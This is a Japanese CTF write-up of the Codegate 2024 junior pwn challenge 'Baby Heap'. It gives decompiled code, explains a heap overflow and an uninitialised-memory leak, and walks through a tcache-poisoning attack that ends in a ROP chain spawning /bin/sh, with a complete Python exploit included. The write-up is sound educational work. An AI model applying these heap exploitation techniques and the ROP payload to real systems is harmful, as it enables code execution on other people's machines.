CodegateCTF 2024のジュニアの部に出ました。挑戦した問題はPwnのBaby Heapだけです。 # 解析 ## 動的チャンクを割り当てたり、データを編集したり、読み取ったり、解放したりできるよくあるHeap問って感じのプログラムでした。 ## 静的以下が主要な関数のデコンパイル結果です。 `main` ```c int32_t main(int32_t argc, char** argv, char** envp) { void* fsbase; int64_t rax = *(uint64_t*)((char*)fsbase + 0x28); sub_1249(); while (true) { print_menu(); void option; read(0, &option, 4); char var_11_1 = 0; switch (atoi(&option)) { case 1: { add(); continue; } case 2: { free(); continue; } case 3: { modify(); continue; } case 4: { view(); continue; } case 5: { break; break; } } puts("invalid input"); } puts(&data_2117); *(uint64_t*)((char*)fsbase + 0x28); if (rax == *(uint64_t*)((char*)fsbase + 0x28)) { return 0; } __stack_chk_fail(); /* no return */ } ``` `add` ```c int64_t add() { void* fsbase; int64_t rax = *(uint64_t*)((char*)fsbase + 0x28); if (data_40e0 > 0xf) { puts("chunk limit exceeded"); } else { printf("input chunk size : "); void size_buf; read(0, &size_buf, 8); int64_t size = ((int64_t)atoi(&size_buf)); if (size > 0xc7) { puts("too big chunk size"); } else { int64_t* var_28_1 = malloc(0x18); if (var_28_1 == 0) { puts("failed malloc."); } else { int64_t data = malloc(size); if (data != 0) { printf("input chunk data : "); read(0, data, size); *(uint64_t*)var_28_1 = size; var_28_1[1] = 1; var_28_1[2] = data; *(uint64_t*)((data_40e0 << 3) + &data_4060) = var_28_1; data_40e0 = (data_40e0 + 1); } else { puts("failed malloc.."); } } } } if (rax == *(uint64_t*)((char*)fsbase + 0x28)) { return (rax - *(uint64_t*)((char*)fsbase + 0x28)); } __stack_chk_fail(); /* no return */ } ``` `free` ```c int64_t free() { void* fsbase; int64_t rax = *(uint64_t*)((char*)fsbase + 0x28); printf("input chunk id : "); void var_18; read(0, &var_18, 8); int64_t index = ((int64_t)atoi(&var_18)); if (index >= data_40e0) { puts("invalid chunk index"); } else { void* chunk = *(uint64_t*)((index << 3) + &data_4060); if (chunk == 0) { puts("fail."); } else { if ((*(uint64_t*)((char*)chunk + 8) == 0 || (*(uint64_t*)((char*)chunk + 8) != 0 && *(uint64_t*)((char*)chunk + 0x10) == 0))) { puts("fail.."); } if ((*(uint64_t*)((char*)chunk + 8) != 0 && *(uint64_t*)((char*)chunk + 0x10) != 0)) { free(*(uint64_t*)((char*)chunk + 0x10)); *(uint64_t*)((char*)chunk + 0x10) = 0; *(uint64_t*)((char*)chunk + 8) = 0; free(*(uint64_t*)((index << 3) + &data_4060)); } } } if (rax == *(uint64_t*)((char*)fsbase + 0x28)) { return (rax - *(uint64_t*)((char*)fsbase + 0x28)); } __stack_chk_fail(); /* no return */ } ``` `modify` ```c int64_t modify() { void* fsbase; int64_t rax = *(uint64_t*)((char*)fsbase + 0x28); printf("input chunk id : "); void var_18; read(0, &var_18, 8); int64_t index = ((int64_t)atoi(&var_18)); if (index >= data_40e0) { puts("invalid chunk index"); } else { struct Chunk* chunk = *(uint64_t*)((index << 3) + &data_4060); if (chunk == 0) { puts("fail."); } else { if ((chunk->is_avail == 0 || (chunk->is_avail != 0 && chunk->data_ptr == 0))) { puts("fail.."); } if ((chunk->is_avail != 0 && chunk->data_ptr != 0)) { printf("modify chunk data(max 40) : "); read(0, chunk->data_ptr, 0x28); } } } if (rax == *(uint64_t*)((char*)fsbase + 0x28)) { return (rax - *(uint64_t*)((char*)fsbase + 0x28)); } __stack_chk_fail(); /* no return */ } ``` `view` ```c { void* fsbase; int64_t rax = *(uint64_t*)((char*)fsbase + 0x28); printf("input chunk id : "); void var_18; int32_t rax_3 = read(0, &var_18, 8); int32_t index = atoi(&var_18); if (rax_3 == 0xffffffff) { puts("input error"); } else if (index > 0xf) { puts("oob input"); } else if (*(uint64_t*)((((int64_t)index) << 3) + &data_4060) == 0) { puts("invalid chunk index"); } else { if ((*(uint64_t*)(*(uint64_t*)((((int64_t)index) << 3) + &data_4060) + 8) == 0 || (*(uint64_t*)(*(uint64_t*)((((int64_t)index) << 3) + &data_4060) + 8) != 0 && *(uint64_t*)(*(uint64_t*)((((int64_t)index) << 3) + &data_4060) + 0x10) == 0))) { puts("unused chunk"); } write(1, *(uint64_t*)(*(uint64_t*)((((int64_t)index) << 3) + &data_4060) + 0x10), **(uint64_t**)((((int64_t)index) << 3) + &data_4060)); } if (rax == *(uint64_t*)((char*)fsbase + 0x28)) { return (rax - *(uint64_t*)((char*)fsbase + 0x28)); } __stack_chk_fail(); /* no return */ } ``` ### 機能の簡単な説明 addをすると、データの大きさ、チャンクが使用中であるかどうかという状態、データのアドレスの３つを保持する大きさ0x20の管理チャンクと、ユーザーが入力した大きさのデータを持つデータチャンクが作られる。そして管理チャンクがグローバル変数の配列に追加される。また、addには回数制限があり、16回しかaddはできない。 modifyをすると、管理チャンク配列の入力したID番目のチャンクが使用中となっているときだけ、データチャンクにデータを書き込むことができる。 viewをすると、管理チャンク配列の入力したID番目のチャンクが使用中のときだけ、そのデータチャンクの先頭から管理チャンクに保持されているデータの大きさ分だけ読み取ることができる。 freeをすると、管理チャンク配列の入力したID番目のチャンクが使用中のときだけ、その管理チャンク自身とデータチャンクがfreeされる。 # 脆弱性 1. `modify`でchunkの大きさに関わらず0x28バイトのデータを書き込めるようになっている。したがって、chunkの大きさが0x20の場合、Heap Overflowが発生する。 2. `add`でmallocをした際に、chunkを0で初期化していない。また、その際に行われるユーザーによる入力の終端にNULL文字をつけていない。したがって、mallocする前のデータが残っていた際に、それを`view`関数で読み取ることができてしまう。 # 攻撃以下の手順で攻撃しました。 1. サイズ0x90で8回addしたあとに8回freeすることでtcache binを埋めて、unsorted binに一つチャンクを繋げる。(8回) 2. 一旦もう一回0x90でaddをする。手順1で作ったtcache binからチャンクが取られるので、残っているSafe-Linking用のデータからHeapのベースアドレスを計算する。(9回) 3. 大きさ0x20のaddをすることでtcache binに入っている管理チャンクとして使われていたチャンクに割り当てが行われるので、0x90のtcache binに入っているチャンクの真上に0x20のチャンクを作ることができる。ここで脆弱性1を使って真下の0x90のチャンクのリンクを改ざんし、tcache_perthread_struct(であってるのかな？)の0x90のbinの先頭アドレスが保存されている場所を指すようにする。(10回) 4. 3回addをして、tcache_perthread_structの0x90のbinの先頭アドレスが保存されている場所にmallocさせる。このチャンクをmodifyすることで次に割り当てられるチャンクの位置を操ることができる。(13回) 5. 手順4を使って、次に割り当てられるチャンクの場所を、unsortedbinに入っているチャンクの位置に設定し、addをする。新しくできたチャンクをviewするとmain_arenaのアドレスがリークできるので、それからlibcのベースアドレスを計算する。(14回) 6. 手順5と同様にして、environに割り当てを行い、そこからstackのアドレスをリークして、addのリターンアドレスが保存されているスタックアドレスを計算する。(15回) 7. 手順5と同様にして、addのリターンアドレスが保存されているスタックアドレスの場所に割り当てを行い、modifyを使ってROPチェインを書き込む。(16回ギリギリ) エクスプロイトは以下のようになりました。 ```python #!/usr/bin/env python import ptrlib as ptr import sys elf = ptr.ELF("./chall_patched") libc = ptr.ELF("./libc.so.6") ld = ptr.ELF("./ld-linux-x86-64.so.2") def connect(): if len(sys.argv) > 1 and sys.argv[1] == "remote": # return ptr.Socket("localhost", 7331) return ptr.Socket("13.125.233.58", 7331) else: return ptr.Process(elf.filepath) def unwrap(x): if x is None: ptr.logger.error("unwrap failed") exit(1) else: return x def add(io, size: int, data: bytes): io.sendlineafter(">> ", "1") io.sendlineafter("input chunk size : ", str(size)) io.sendlineafter("input chunk data : ", data) def free(io, index: int): io.sendlineafter(">> ", "2") io.sendlineafter("input chunk id : ", str(index)) def modify(io, index: int, data: bytes): io.sendlineafter(">> ", "3") io.sendlineafter("input chunk id : ", str(index)) io.sendlineafter("modify chunk data(max 40) : ", data) def view(io, index: int) -> bytes: io.sendlineafter(">> ", "4") io.sendlineafter("input chunk id : ", str(index)) data = io.recvuntil("1. add").strip(b"1. add") return data def decrypt(cipher: int) -> int: key = 0 plain = 0 for i in range(6): bits = 64 - 12 * i if bits < 0: bits = 0 plain = ((cipher ^ key) >> bits) << bits key = plain >> 12 return plain def main(): io = connect() # fill tcache and create a chunk in unsorted bin add(io, 0x90, b"") # 0 add(io, 0x90, b"") # 1 add(io, 0x90, b"") # 2 add(io, 0x90, b"") # 3 add(io, 0x90, b"") # 4 add(io, 0x90, b"") # 5 add(io, 0x90, b"") # 6 add(io, 0x90, b"") # 7 free(io, 7) free(io, 6) free(io, 5) free(io, 4) free(io, 3) free(io, 2) free(io, 1) free(io, 0) # leak libc base add(io, 0x90, b"") # 8 cipher = ptr.u64(view(io, 8)[:8]) heap_base = (decrypt(cipher) >> 12) << 12 ptr.logger.info(f"heap_base: {hex(heap_base)}") # tcache poisoning to hijack head of tcache bin add(io, 0x18, b"") # 9 payload = b"A" * 3 * 8 payload += ptr.p64(0xA1) payload += ptr.p64((heap_base + 0x500) >> 12 ^ heap_base + 0xD0) modify(io, 9, payload) add(io, 0x90, b"") # 10 add(io, 0x90, b"") # 11 add(io, 0x90, b"") # 12 # tcache poisoning to leak libc base modify(io, 12, ptr.p64(heap_base + 0x2C0)) add(io, 0x90, b"") # 13 libc.base = ptr.u64(view(io, 13)[:8]) - 0x21AC0A # clean chunks to prevent error in malloc free(io, 10) free(io, 11) free(io, 13) # tcache poisoning to leak location of return address on add function modify(io, 12, ptr.p64(unwrap(libc.symbol("environ")) - 0x10)) add(io, 0x90, b"") # 14 ret_addr = ptr.u64(view(io, 14)[0x10:0x18]) - 0x140 ptr.logger.info(f"return_address: {hex(ret_addr)}") modify(io, 12, ptr.p64(ret_addr - 0x8)) payload = b"A" * 8 payload += ptr.p64(next(libc.gadget("ret;"))) payload += ptr.p64(next(libc.gadget("pop rdi; ret;"))) payload += ptr.p64(next(libc.find("/bin/sh"))) payload += ptr.p64(next(libc.gadget("pop rsi; ret;"))) payload += ptr.p64(0) payload += ptr.p64(next(libc.gadget("pop rax; ret;"))) payload += ptr.p64(0x3B) payload += ptr.p64(next(libc.gadget("mov rdx, rsi; xor esi, esi; syscall;"))) add(io, 0x90, payload) # 15 io.sh() if __name__ == "__main__": main() ``` 実際にこの手順に行き着くまで結構時間がかかりました。tcahe_perthread_structを改ざんすることを最初思いつかなかったので、tcache_perthread_structの改ざんに使用した方法を使ってlibcリークとスタックリークを行ったのですがそれだとmallocの回数があと一回どうしても足りなくなってしましました。だから、libcリークまでして、libcのGOTをone_gadgetに書き換える試みもしました。しかし条件が合わずに成功せず、悩んだ結果上の手順を思いつきました。これが常設の問題だったら、多分諦めてWriteupを見ていたと思うので、今回の問題はPwn初心者の自分にとってはかなりの成長につながるものでした。解けてよかったです。